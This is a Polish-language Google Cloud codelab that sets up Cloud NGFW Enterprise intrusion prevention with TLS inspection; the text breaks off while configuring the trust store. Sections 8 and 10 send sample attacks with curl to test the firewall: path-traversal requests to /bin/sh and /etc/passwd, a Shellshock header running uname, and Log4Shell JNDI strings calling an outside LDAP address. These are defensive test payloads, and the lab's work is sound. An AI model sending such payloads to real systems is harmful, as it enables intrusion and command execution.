Ćwiczenie z programowania w Cloud NGFW Enterprise Codelab [z inspekcją TLS]

1. Wprowadzenie

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW ma te zalety:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowe, w pełni rozproszone egzekwowanie zasad na poziomie hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
  • Uproszczona konfiguracja i wdrożenie: Cloud NGFW implementuje zasady zapory sieciowej i hierarchiczne zasady zapory sieciowej, które można dołączyć do węzła hierarchii zasobów. Zapewniają one spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez Identity and Access Management (IAM) zapewnia szczegółową kontrolę ruchu w kierunku północ-południe i wschód-zachód, aż do pojedynczej maszyny wirtualnej, w sieciach prywatnego środowiska wirtualnego w chmurze (VPC) i organizacjach.

Usługa Cloud NGFW jest dostępna w tych wersjach:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje do rozproszonej struktury zapory sieciowej Google Cloud usługę zapobiegania włamaniom (IPS), która działa w warstwie 7. Inspekcja TLS jest obsługiwana, aby umożliwić sprawdzanie ruchu szyfrowanego za pomocą protokołu TLS.

Możesz teraz wdrażać niezawodne inspekcje zapory sieciowej nowej generacji (NGFW) warstwy 7 z precyzyjnymi elementami sterującymi bez wprowadzania zmian w architekturze sieci ani konfiguracjach routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej warstwy 7 z systemem IPS, musisz wykonać te czynności:

  • Utwórz zestaw zarządzanych przez Google Cloud strefowych punktów końcowych zapory sieciowej.
  • Opcjonalnie utwórz zasadę inspekcji TLS.
  • Opcjonalnie utwórz konfigurację zaufania.
  • Powiąż te punkty końcowe z sieciami prywatnego środowiska wirtualnego w chmurze (VPC), w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w dotychczasowych zasadach zapory sieciowej i regułach zapory sieciowej, aby określić profile ochrony przed zagrożeniami dla różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener reguł zapory sieciowej. Reguły zdefiniowane w zasadach zapory sieciowej nie są egzekwowane w żadnym miejscu, dopóki zasady nie zostaną powiązane z siecią VPC. Każda sieć VPC może mieć powiązaną z nią jedną zasadę zapory sieciowej. Zasady zapory sieciowej obsługują tagi zarządzane przez IAM (lub po prostu tagi) w regułach zapory sieciowej, które zastępują bieżące tagi sieci i mogą być używane do przypisywania tożsamości do zbioru zadań.

Udostępnianie zasad zapory sieciowej w różnych sieciach i integracja z tagami zarządzanymi przez uprawnienia znacznie upraszczają konfigurację i zarządzanie zaporami.

Wraz z wprowadzeniem zasady zapory sieciowej zasady zapory sieciowej Google Cloud składają się teraz z tych komponentów:

  1. Hierarchiczne zasady zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane w węzłach organizacji i folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej są stosowane na poziomie VPC. Duża różnica między regułami zapory sieciowej VPC a zasadami zapory sieciowej polega na tym, że reguły zapory sieciowej VPC można stosować tylko do jednej sieci VPC, a zasady zapory sieciowej można dołączać do jednej sieci VPC lub grupy sieci VPC. Zapewniają one też inne korzyści, takie jak aktualizacje zbiorcze.

Oprócz tego każda sieć VPC ma domyślne reguły zapory sieciowej:

  • Reguła ruchu wychodzącego, której działanie to zezwolenie, a miejsce docelowe to 0.0.0.0/0
  • Reguła ruchu przychodzącego, której działanie to odmowa, a źródło to 0.0.0.0/0

Domyślnie sekwencja egzekwowania jest wyświetlana na tym diagramie:

21b3bcabc469ffe.png

Pamiętaj, że kolejność egzekwowania reguł zapory sieciowej VPC i globalnych zasad zapory sieciowej może zostać zamieniona. Klienci mogą w dowolnym momencie określić kolejność egzekwowania zasad za pomocą polecenia gcloud.

Tagi

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby w postaci par klucz-wartość zdefiniowane na poziomie organizacji lub projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu IAM, która określa, kto może wykonywać jakie działania na tagu. Uprawnienia zarządzania tożsamościami i dostępem (IAM) umożliwiają na przykład określenie, które podmioty zabezpieczeń mogą przypisywać wartości do tagów, a które mogą dołączać tagi do zasobów. Jeśli reguła zapory sieciowej odwołuje się do tagu, musi być zastosowana do zasobu, aby można było ją egzekwować.

Tagi są zgodne z modelem dziedziczenia zasobów Google Cloud, co oznacza, że tagi i ich wartości są przekazywane w hierarchii z elementów nadrzędnych. Dzięki temu tagi można tworzyć w jednym miejscu, a potem używać w innych folderach i projektach w całej hierarchii zasobów. Szczegółowe informacje o tagach i ograniczeniach dostępu znajdziesz na tej stronie.

Tagów nie należy mylić z tagami sieci. Są to ciągi znaków, które można dodawać do instancji Compute Engine. Są one powiązane z instancją i znikają po jej wycofaniu. Reguły zapory sieciowej VPC mogą zawierać tagi sieci, ale ponieważ nie są traktowane jako zasoby w chmurze, nie podlegają kontroli dostępu IAM.

W tym dokumencie terminy „tagi” i „tagi zarządzane przez IAM” są używane zamiennie.

Co utworzysz

To laboratorium wymaga jednego projektu oraz możliwości utworzenia sieci VPC i zarządzania wieloma zasobami sieciowymi i związanymi z bezpieczeństwem. Pokazuje, jak Cloud NGFW Enterprise może zapewniać funkcje IPS:

  • Sprawdzanie ruchu internetowego wychodzącego za pomocą inspekcji TLS
  • Sprawdzanie przepływów w ramach sieci VPC [wschód–zachód] za pomocą inspekcji TLS

Przepływy do sprawdzenia będą wybierane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-krotki (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy) i tagów.

3d0f288d3b92a295.png

Stan końcowy bazy reguł zasad zapory sieciowej będzie podobny do tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Czynność

Typ

100

Ruch przychodzący

Server_Tag

Kontrole stanu

Dowolna

Zezwól

Essentials

200

Ruch przychodzący

Client_Tag, Server_Tag

IAP

Dowolna

Zezwól

Essentials

800

Ruch przychodzący

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspekcja L7

Enterprise

850

Ruch wychodzący

Client_Tag

Dowolna

10.0.0.0/24

Zezwól

Essentials

900

Ruch wychodzący

Client_Tag

Dowolna

Dowolna

Inspekcja L7

Enterprise

Czego się nauczysz

  • Jak utworzyć zasadę zapory sieciowej.
  • Jak tworzyć i używać tagów w zasadach zapory sieciowej.
  • Jak skonfigurować i używać usługi Cloud NGFW Enterprise z inspekcją TLS.

Czego potrzebujesz

  • projekt Google Cloud,
  • Umiejętność wdrażania instancji i konfigurowania komponentów sieciowych.
  • znajomość konfiguracji zapory sieciowej VPC;

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

W tym laboratorium wykorzystywane są zmienne, które ułatwiają wdrażanie konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach odpowiednimi danymi:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli jeszcze tego nie zrobiono:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie punktu końcowego Cloud NGFW Enterprise

Tworzenie punktu końcowego Cloud NGFW Enterprise trwa około 20 minut, więc zostanie on utworzony jako pierwszy, a podstawową konfigurację można przeprowadzić równolegle podczas tworzenia punktu końcowego.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Aby sprawdzić, czy punkt końcowy jest tworzony (CREATING), uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Opcjonalnie możesz uruchomić to polecenie, aby uzyskać więcej szczegółów:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Proces tworzenia trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle utworzyć wymagane zasoby.

5. Konfiguracja podstawowa

Sieć VPC i podsieć

Sieć VPC i podsieć

Utwórz sieć VPC i podsieć:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz router chmurowy i bramę Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancje

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tagi na poziomie projektu

W razie potrzeby przypisz użytkownikowi uprawnienie tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Utwórz klucz tagu i wartości na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Powiąż tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globalne zasady zapory sieciowej

Utwórz globalną zasadę zapory sieciowej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Utwórz wymagane reguły Cloud Firewall Essential, aby zezwolić na ruch z zakresów health-check i identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Utwórz wymagane reguły zapory sieciowej Cloud Firewall, aby zezwolić na ruch przychodzący wschód-zachód / wewnątrz podsieci z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise z kontrolą TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Powiąż zasadę zapory sieciowej z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Powiązanie punktu końcowego zapory sieciowej Cloud Firewall

Zdefiniuj zmienne środowiskowe, jeśli nie zostały jeszcze zdefiniowane lub jeśli wolisz podejście oparte na skryptach.

Sprawdź, czy tworzenie punktu końcowego zapory sieciowej w chmurze zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Opcjonalnie możesz uruchomić to polecenie, aby uzyskać więcej szczegółów:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Powiąż punkt końcowy zapory sieciowej w chmurze z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proces łączenia trwa około 10 minut. Przejdź do sekcji TLS dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe po zakończeniu:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Opcjonalnie możesz uruchomić to polecenie, aby uzyskać więcej szczegółów:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Konfigurowanie zasobów TLS

Utwórz pulę urzędów certyfikacji. To zasób, w którym będzie przechowywany wygenerowany przez nas certyfikat CA dla NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Utwórz główny urząd certyfikacji. Jest to certyfikat CA, który będzie używany do podpisywania dodatkowych certyfikatów w przypadku żądań przesyłanych przez NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Jeśli pojawi się poniższy komunikat, odpowiedz y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Utwórz konto usługi. To konto usługi będzie używane do wysyłania próśb o certyfikaty dla NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Ustaw uprawnienia konta usługi:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Utwórz plik YAML zasad TLS. Będzie on zawierał informacje o konkretnych zasobach:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Zaimportuj zasadę inspekcji protokołu TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Zaktualizuj powiązanie punktu końcowego, aby włączyć TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Pobierz certyfikat CA i dodaj go do magazynu CA klienta:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Przenieś certyfikat CA na klienta:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Połącz się z maszyną wirtualną za pomocą SSH, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Wróć do Cloud Shell.

Proces podpisywania certyfikatu serwera:

W Cloud Shell zainstaluj bibliotekę kryptograficzną Pyca za pomocą polecenia pip:

pip install --user "cryptography>=2.2.0"

Aby umożliwić pakietowi Google Cloud SDK korzystanie z biblioteki kryptograficznej Pyca, musisz włączyć pakiety witryn.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Utwórz certyfikat serwera:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Spowoduje to wygenerowanie w Cloud Shell plików cert.pem i key.pem. Następnie przenieś certyfikat i klucz na serwer.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Połącz się z serwerem za pomocą SSH, aby zaktualizować szczegóły certyfikatu dla serwera Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Przenieś certyfikat i klucz do określonego folderu:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Zaktualizuj konfigurację SSL, aby używać podpisanego certyfikatu:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Ponowne uruchomienie Apache:

sudo systemctl restart apache2

Sprawdź stan serwera Apache:

sudo systemctl status apache2

Powinien być aktywny (uruchomiony).

Zamknij maszynę wirtualną i kontynuuj w Cloud Shell.

8. Sprawdzanie połączeń wychodzących i połączeń wschód-zachód

Uruchom w Cloud Shell te polecenia i zanotuj adresy IP, które mają być używane:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Otwórz nową kartę i zainicjuj połączenie SSH z kliencką maszyną wirtualną za pomocą IAP (na nowej karcie musisz zdefiniować zmienne):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom poniższe polecenia i zanotuj docelowe adresy IP, które mają być używane. Utwórz zmienne, zastępując wartości w nawiasach podanymi adresami IP z poprzedniego kroku i upewnij się, że są one dostępne:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Wyślij żądanie curl do prywatnego adresu IP i sprawdź, czy jest on osiągalny:

curl https://$target_privateip --max-time 2

Oczekiwane wyniki żądania curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Wysyłaj przykładowe ataki na adres IP. Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma inspekcji ani ochrony na poziomie 7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Przykładowe oczekiwane wyniki (prywatny adres IP):

400
404
400
200
200

Podobnie wysyłaj żądania do miejsca docelowego w internecie:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Przykładowe oczekiwane wyniki (miejsce docelowe w internecie):

400
404
400
403
403

Zamknij terminal maszyny wirtualnej i wróć do Cloud Shell.

9. Tworzenie i aktualizowanie reguł zapory sieciowej na potrzeby inspekcji TLS

Wcześniej skonfigurowaliśmy regułę zapory sieciowej, która zezwala na ruch przychodzący do naszego serwera z podsieci wewnętrznej. Zaktualizujemy teraz istniejące reguły ruchu przychodzącego i ustawimy działanie na apply_security_profile_group. Włączy to inspekcję L7 ruchu wschód-zachód z TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Utwórz nową regułę, aby przeprowadzać inspekcję L7 w kierunku północnym za pomocą protokołu TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Utwórz nową regułę, która zezwala na ruch WYCHODZĄCY w przypadku ruchu WSCHÓD-ZACHÓD, aby zapobiec podwójnej inspekcji.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Weryfikacja inspekcji TLS w kierunku północnym

Wróć na kartę klienckiej maszyny wirtualnej lub połącz się ponownie:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wysyłanie przykładowych ataków do miejsca docelowego w internecie:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Nie otrzymasz żadnych odpowiedzi zgodnych z oczekiwanymi wynikami poniżej, co potwierdza, że przykładowe ataki są teraz blokowane:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Ustaw zmienną na adres IP serwera z poprzedniego kroku:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Wyślij do serwera przykładowe żądania TLS:

curl https://$target_privateip --max-time 2

Oczekiwane dane wyjściowe:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Dlaczego to żądanie się nie powiodło? Dzieje się tak, ponieważ zapora otrzymuje certyfikat z serwera, do którego nie ma zaufania. W takim przypadku przekaże klientowi certyfikat podpisany samodzielnie. Aby włączyć zaufanie, musimy dodać certyfikat CA w ramach konfiguracji zaufania.

Wróć do Cloud Shell.

11. Konfigurowanie konfiguracji zaufania

Pobierz certyfikat głównego urzędu certyfikacji i ustaw go jako zmienną o odpowiednim formacie.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Skonfiguruj plik YAML konfiguracji zaufania. Ten plik zawiera szczegóły zaufania, takie jak certyfikaty CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Powyższe polecenia zawierały certyfikat głównego urzędu certyfikacji jako część magazynu zaufania, ponieważ certyfikat serwera został podpisany przy użyciu głównego urzędu certyfikacji. Oznacza to, że zapora sieciowa będzie ufać wszystkim otrzymywanym certyfikatom podpisanym przez Twój główny urząd certyfikacji, a także publicznym urzędom certyfikacji, jeśli w zasadach protokołu TLS parametr excludePublicCaSet ma wartość false.

Sprawdź zawartość konfiguracji zaufania.

cat trust_config.yaml

Przykładowe dane wyjściowe:

Zwróć szczególną uwagę na wyrównanie wcięcia certyfikatu. Musi mieć dokładnie taki format.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
